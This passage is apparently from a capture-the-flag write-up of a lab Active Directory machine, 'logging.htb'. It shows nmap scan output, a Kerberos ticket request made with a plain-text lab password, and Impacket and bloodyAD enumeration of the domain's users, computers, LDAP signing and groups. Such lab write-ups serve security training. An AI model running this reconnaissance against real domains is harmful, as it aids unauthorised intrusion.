| MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV
| HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF
| BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw
| Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN
| BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D
| QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD
| Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh
| bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n
| Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp
| ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0
| YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw
| NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze
| ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R
| yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ
| mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC
| c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB
| WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM
| wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF
| P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp
| S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57
| 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn
| jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH
| xmZv2ZLKHnzHY9YT
|_-----END CERTIFICATE-----
3269/tcp  open   ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T10:14:14+00:00; +6h59m48s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T03:20:01
| Not valid after:  2106-04-17T03:20:01
| MD5:     8572 96de c6fa 1e08 d694 2448 68cf d20b
| SHA-1:   8747 4415 e328 0940 a741 bace 327f a157 98d8 76e7
| SHA-256: f7c9 1a1d afd7 0b23 d3eb 802c bad8 aabf 6ad8 0a7b 1b56 3b26 3aea c6ed 4d1b 8b93
| -----BEGIN CERTIFICATE-----
| MIIG+DCCBOCgAwIBAgITFAAAAAbxfU7yg+mj1AABAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
| ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMCAXDTI2MDQxNzAzMjAwMVoYDzIx
| MDYwNDE3MDMyMDAxWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| s8+q+Qxi7vqUbuJP+8Kk7GA6jYOHCloGjRKpRuwAHWUgwPQGydcTfPKMf5qk3dlf
| AIeWOHZELA54pfHeb9WphmoWB5CfN5hZmuoyg7HGKbMLj1C9SAhphOQNk3t0h5Gw
| DqZTzwsdD0zZ4IPmwLmgdI3p9cQRT/nQff9lb2DHLGpRQUqxySWNkfTSyTgrvKnW
| eG9zRrra9ieb1qGhdlb+FDDtWkk5O+XUjpB+Bg+Mo7sZ+zvz1POQrGwvXBqzo/aH
| 7G736fCIyy3q4S9pOHesDg8F0ndhXByOjlLIfLxif3e6gUPvQshbfl8G7mZLzmOi
| +HNwEkSrN7BjLrCY/UAY1QIDAQABo4IDHzCCAxswOAYJKwYBBAGCNxUHBCswKQYh
| KwYBBAGCNxUIhfKBf4WHj1+G3YcYgteNDoPY5miBGgEhAgFuAgEAMDIGA1UdJQQr
| MCkGCCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNV
| HQ8BAf8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEF
| BQcDATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFNyGmX8pxGUw
| Zqgr+Usro3JEmaU9MB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHN
| BgNVHR8EgcUwgcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1D
| QSgxKSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD
| Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh
| bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n
| Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp
| ZmljYXRpb25BdXRob3JpdHkwNAYDVR0RAQH/BCowKIIQREMwMS5sb2dnaW5nLmh0
| YoILbG9nZ2luZy5odGKCB2xvZ2dpbmcwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEE
| AYI3GQIBoDAELlMtMS01LTIxLTQwMjA4MjM4MTUtMjc5NjUyOTQ4OS0xNjgyMTcw
| NTUyLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAHPP5F+HZKxz1O5/3bSdU3Hw8Uze
| ccX4W/fU1jU4PIpHaFE6mwCa3nbKuo4CHQjKRW4+Kn3kMbZvzOVNJ15gLDywGQ6R
| yL79AobPIlhE5bcIlfUcjj366fLnUiBy+i9BnlduKrnq7D7GCYXUlWn9WWvRFIkZ
| mCXSERigasPxE4MTbX7EdTi69CNtQD+OoqyMYSzi8XcgTjFcahqRHD0nYKU4oXSC
| c4njFNpRbCKSNC2I969+fJ8c15T4pJeIEJks7W7tHoub2EgDSwLY3a9vdpjn4tNB
| WFDTKvUswQ7pH1oTs7KC3viPDUYgHEisC5+ZFq2K3ZIur1TVGtepu048Ni7IcOyM
| wu81EbY2O7phQ0pA0lcSydx95yAMb60iZOe+WCBt8TdJHlKKhfBHyGzTku/fGJoF
| P0ASpCuV+izqJ0cOLhAJ2d4EQ5C6ILrYBzWUWwTIaJWh7yWbmGvOMZsuX+3HmKPp
| S2HmirJTu/QMBPa4y4NFa1EVwCFxtbEMxPjszf727/62g44GXvfRx4xioSosZr57
| 6mY+TIKQ4/URZy5GERi2CnsaHPqM2pyo8EtG0jCyErhe8VMZ3F2Oc4hp9CQH5urn
| jwFsp3hvJtrzQHCHnHVWQ0ouGIi5n8v6nEWTbyqoMYnQxjgqB2QTS8Nc1cBs38qH
| xmZv2ZLKHnzHY9YT
|_-----END CERTIFICATE-----
5985/tcp  open   http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp  open   http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
8531/tcp  open   ssl/unknown   syn-ack ttl 127
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.logging.htb
| Issuer: commonName=logging-DC01-CA/domainComponent=logging
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-16T15:12:07
| Not valid after:  2027-04-16T15:12:07
| MD5:     3158 19e2 be3b 095d 5781 5715 4aaf 73e6
| SHA-1:   9416 b3bc 64b6 7aa6 fe63 8a37 9b4e d9d4 c66b e3c5
| SHA-256: 28b7 cd3c bef5 4d45 e326 d24f f976 0088 07f6 3f90 8408 e5a3 ed59 671d 1b71 4df6
| -----BEGIN CERTIFICATE-----
| MIIHMDCCBRigAwIBAgITFAAAAAK/v9b9j2G/FwAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
| ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMB4XDTI2MDQxNjE1MTIwN1oXDTI3
| MDQxNjE1MTIwN1owGzEZMBcGA1UEAxMQREMwMS5sb2dnaW5nLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMBe7NjYZsfoS/+TNDMoC2h86D/h6vza
| gZIdynR8hHo43pk/51TgSl21MRGg0F5I3C7l3CiJVN+n/2DQ46zLVBmz2zQ7igA4
| oui4Dy0hUP4a9ez79gKfNvqymPpmO17pkIa4UZtRSZsT6omvTnR1ocvbCfk2qx3c
| VivpA1JVFp8/QTEEa1N+Y9P90YIu7yc6qLHCTsepeiD5Le0c+sPEYFNMsGevRaY8
| ZvQofpRKnGKMu7ixxxPL2f/nGmUZWZSV5dlmmJayu4051Qmmxy4if1irDNCFCs2b
| fYH/geF1J8WnQOR90/pLvTc3+Q9+Nrs2lTfDXqCOx1eAKTvzAY51bz0CAwEAAaOC
| Az4wggM6MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFB2CJCYz
| 4cC12YnHPnPk1FnY99KaMB8GA1UdIwQYMBaAFL7JMlWq5YFTEUODjRfLNicn8Ryl
| MIHKBgNVHR8EgcIwgb8wgbyggbmggbaGgbNsZGFwOi8vL0NOPWxvZ2dpbmctREMw
| MS1DQSxDTj1EQzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxD
| Tj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGh
| bGRhcDovLy9DTj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtl
| eSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9n
| Z2luZyxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRp
| ZmljYXRpb25BdXRob3JpdHkwPAYDVR0RBDUwM6AfBgkrBgEEAYI3GQGgEgQQ9WcY
| keHaIU6dyb3PsglnCoIQREMwMS5sb2dnaW5nLmh0YjBPBgkrBgEEAYI3GQIEQjBA
| oD4GCisGAQQBgjcZAgGgMAQuUy0xLTUtMjEtNDAyMDgyMzgxNS0yNzk2NTI5NDg5
| LTE2ODIxNzA1NTItMTAwMDANBgkqhkiG9w0BAQsFAAOCAgEAkj6q2guKnFi36ysz
| KVmPVmCAGrpAJdM9fa9Ziw803Ze21AQVOht8iNC6ftAtCAUp+kwhYDKsaJbE/4p0
| 5Gf3oJCRiDDGC70qCe5lQbnETp5z/VXxFwY5N6o40w4spe5/dpbBBouPlverLMnL
| ggLa2vSnOoig+rkgq/rtbzCRNsHNwjevvroWF0z9HoMYeiRmdzWizXYplp6yJ0na
| 2sQrQzc1nw0EB7Tz2Xpy0oZinrpyPWPaebLY/GoUQArzts6wJhYz7BpbdxFmAczV
| VEEZwIPWlVTVfoPN6ybmhZlBdGui27W/2MRnXCy4KH1KRV699xGp0Qr/Q9erU0WP
| zRpq333BIbPxpFCqCISXz7lLt8aPsFHVFIWbPxcOQKKQlbHiQ4qVXmWgoX5LWwGA
| W3lntXUi9xf6JwdVDbgZsH5OWg4AV2giU6TEK5JjGeRsINqQCgYndXKQCqp7t4zR
| AbML7iOTse0IauL5X6UZBbJJ/V7XIkE6WDoPFFpJe2sXxg98PieDxT9914JRmNx8
| 9CFyLB6fNC6nzgq8+Wa/5/rXhjIS7pSaYMs8umNigTcFJ2HJC0zOUEMqkGpOxEH/
| Zm+AYG+tg0f3xdFqr0MdcbUJ7TPUMheEqLEgdCsPWFbIVlsPZsXW8hjWbcEq90Hn
| POF4wwAV8i3dVFrslgw7SnFZOfY=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-04-19T10:14:14+00:00; +6h59m48s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open   mc-nmf        syn-ack ttl 127 .NET Message Framing
15518/tcp closed unknown       reset ttl 127
25677/tcp closed unknown       reset ttl 127
32678/tcp closed unknown       reset ttl 127
32864/tcp closed unknown       reset ttl 127
47001/tcp open   http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47363/tcp closed unknown       reset ttl 127
49664/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49686/tcp open   ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49687/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49690/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49713/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49719/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49746/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
49776/tcp open   msrpc         syn-ack ttl 127 Microsoft Windows RPC
55515/tcp closed unknown       reset ttl 127
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-19T10:14:03
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 60761/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 50348/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 33017/udp): CLEAN (Timeout)
|   Check 4 (port 59572/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m47s, deviation: 0s, median: 6h59m47s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can see from the scan several open ports from the common <code class="language-plaintext highlighter-rouge">AD</code> services: <code class="language-plaintext highlighter-rouge">SMB,LDAP,RPC,Kerberos, WinRM</code> including the presence of a <code class="language-plaintext highlighter-rouge">CA</code> indicating <code class="language-plaintext highlighter-rouge">ADCS</code>, as well as several uncommon services including: <code class="language-plaintext highlighter-rouge">IIS, WSUS</code></p>

<h2 id="port-80---iis">Port 80 - IIS</h2>
<p>Visiting the sebserver on <code class="language-plaintext highlighter-rouge">port 80</code> we’re just greeted with the default microsoft <code class="language-plaintext highlighter-rouge">IIS</code> page. I was unable to find anything when <code class="language-plaintext highlighter-rouge">fuzzing</code> for <code class="language-plaintext highlighter-rouge">subdomains</code> through <code class="language-plaintext highlighter-rouge">vhost</code> fuzzing. The same applies to <code class="language-plaintext highlighter-rouge">fuzzing directories</code>.</p>

<p><em>For the following sections I’ll get myself a <code class="language-plaintext highlighter-rouge">TGT</code> from our <code class="language-plaintext highlighter-rouge">assumed breach user</code> and use that to authenticate.</em></p>
<div filename="Wallace Everette TGT" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>getTGT.py <span class="s1">'logging.htb/wallace.everette:Welcome2026@'</span>
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>wallace.everette.ccache
<span class="nv">$ </span><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>wallace.everette.ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s start by enumerating the domain.</p>
<h2 id="domain-users">Domain Users</h2>
<div filename="Domain Users" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>GetADUsers.py <span class="nt">-k</span> <span class="nt">-no-pass</span> logging.htb/ <span class="nt">-all</span>    
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting machine <span class="nb">hostname</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Querying DC01 <span class="k">for </span>information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
<span class="nt">--------------------</span>  <span class="nt">------------------------------</span>  <span class="nt">-------------------</span>  <span class="nt">-------------------</span>
Administrator                                         2026-04-16 10:41:53.344270  2026-04-19 06:31:32.086826 
Guest                                                 &lt;never&gt;              &lt;never&gt;             
krbtgt                                                2026-04-16 10:47:15.391024  &lt;never&gt;             
svc_recovery                                          2026-04-16 19:09:49.415051  &lt;never&gt;             
jaylee.clifton                                        2026-04-16 19:09:49.774441  2026-04-19 06:32:15.867776 
monique.chip                                          2026-04-16 19:09:49.949785  &lt;never&gt;             
kyson.abel                                            2026-04-16 19:09:50.071726  &lt;never&gt;             
fable.milford                                         2026-04-16 19:09:50.149426  &lt;never&gt;             
wellington.kylan                                      2026-04-16 19:09:50.227559  &lt;never&gt;             
serina.philander                                      2026-04-16 19:09:50.383931  &lt;never&gt;             
wallace.everette                                      2026-04-16 19:09:50.493177  2026-04-19 06:25:30.305323 
toby.brynleigh                                        2026-04-16 19:09:50.571309  2026-04-19 04:12:53.789676 
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="domain-computers">Domain Computers</h2>
<div filename="Domain Computers" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>GetADComputers.py <span class="nt">-k</span> <span class="nt">-no-pass</span> logging.htb/     
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting machine <span class="nb">hostname</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Querying DC01 <span class="k">for </span>information about domain.
SAM AcctName     DNS Hostname                         OS Version       OS                   
<span class="nt">---------------</span>  <span class="nt">-----------------------------------</span>  <span class="nt">---------------</span>  <span class="nt">--------------------</span>
DC01<span class="nv">$ </span>           DC01.logging.htb                     10.0 <span class="o">(</span>17763<span class="o">)</span>     Windows Server 2019 Standard 
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="ldap-status">Ldap Status</h2>
<div filename="Ldap Status" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>CheckLDAPStatus.py <span class="nt">-domain</span> logging.htb <span class="nt">-dc-ip</span> 10.129.28.191 
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Targeted domain: logging.htb
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Found 1 domain controller<span class="o">(</span>s<span class="o">)</span> <span class="k">in </span>logging.htb
Hostname: dc01.logging.htb
        <span class="o">&gt;</span> LDAP Signing Required: False
        <span class="o">&gt;</span> LDAPS Channel Binding Status: Never
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="domain-groups-and-members">Domain Groups and Members</h2>
<div filename="Domain Groups and Users" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>bloodyAD <span class="nt">-H</span> dc01.logging.htb <span class="nt">-k</span> <span class="nt">-d</span> logging.htb get search <span class="nt">--filter</span> <span class="s1">'(objectClass=Group)'</span> <span class="nt">--attr</span> member

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Administrators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>toby.brynleigh,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Domain Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Enterprise Admins,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Administrator,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>Domain Users,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>S-1-5-11,CN<span class="o">=</span>ForeignSecurityPrincipals,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>S-1-5-4,CN<span class="o">=</span>ForeignSecurityPrincipals,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Guests,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>Domain Guests,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb<span class="p">;</span> <span class="nv">CN</span><span class="o">=</span>Guest,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Print Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Backup Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Replicator,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Remote Desktop Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Network Configuration Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Performance Monitor Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Performance Log Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>jaylee.clifton,CN<span class="o">=</span>Users,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Distributed COM Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>IIS_IUSRS,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Cryptographic Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Event Log Readers,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Certificate Service DCOM Access,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>S-1-5-11,CN<span class="o">=</span>ForeignSecurityPrincipals,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>RDS Remote Access Servers,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>RDS Endpoint Servers,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>RDS Management Servers,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Hyper-V Administrators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Access Control Assistance Operators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Remote Management Users,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb
member: <span class="nv">CN</span><span class="o">=</span>msa_health,CN<span class="o">=</span>Managed Service Accounts,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

distinguishedName: <span class="nv">CN</span><span class="o">=</span>Storage Replica Administrators,CN<span class="o">=</span>Builtin,DC<span class="o">=</span>logging,DC<span class="o">=</span>htb

